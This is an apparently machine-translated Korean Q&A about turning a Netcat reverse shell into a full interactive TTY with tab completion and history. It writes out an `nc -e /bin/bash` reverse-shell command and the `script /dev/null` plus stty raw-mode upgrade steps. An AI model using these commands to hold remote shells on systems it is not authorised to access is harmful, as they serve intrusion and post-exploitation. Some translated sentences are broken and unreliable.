원래 Netcat 셸을 탭 완성 및 줄 편집 기능이 포함된 모든 기능을 갖춘 로그인 셸로 업그레이드하려면 어떻게 해야 합니까?
다음과 같이 Netcat을 사용하여 원격(역방향) 셸을 시작한다고 가정해 보겠습니다.
nc -lvp $port
nc $ip $port -e '/bin/bash'
이제 내가 얻는 것은 TTY, 탭 완성, 줄 편집 또는 기록이 없는 쉘입니다. 즉, 왼쪽, 위쪽, 오른쪽 및 아래쪽 키보드 키는 ^[[D,^[[A,^[[C,^[[B
각각 , 및 를 생성하며, 이를 누르면 ^C
셸이 종료됩니다.
$ tty
not a tty
su
이제는 유사한 명령을 실행할 수 있도록 셸에 대해 PTY를 시작하는 것이 매우 간단합니다 . 그러나 이 셸에는 여전히 일반 로그인 셸에서 기대되는 기본 기능이 부족합니다(위 참조).
가능하다면 Netcat에서 시작한 셸을 일반 로그인 셸과 유사한 것으로 업그레이드하려면 어떻게 해야 합니까? 단계를 설명해주세요.
답변1
이미 실행 중인 셸은 "업그레이드"할 수 없습니다.
하지만 넌 할수있어
a) pty를 생성하고 그 안에서 다른 쉘을 실행합니다.script /dev/null
b) 당신과 함께 플레이현지의intr
터미널이므로 , eof
및 기타 키를 구체적으로 해석하지 않고 eol
전달합니다.
$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
[ncat -4 localhost 9999 -e /bin/bash in another terminal]
Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$
[press Control-Z]
[1]+ Stopped nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"
[press Enter]
bash-4.4$
[now history and control keys work as expected
you may also want to set the correct name with TERM=
and the correct size with stty rows R cols C
press Control-D to terminate the shell]
그럼에도 불구하고 이 Netcat 게임은 무의미하고 우스꽝스럽습니다. 누가 암호화되지 않은 연결을 통해 쉘 세션을 실행하고 싶겠습니까? ssh
2019년에는 이런 일이 익숙해졌습니다 .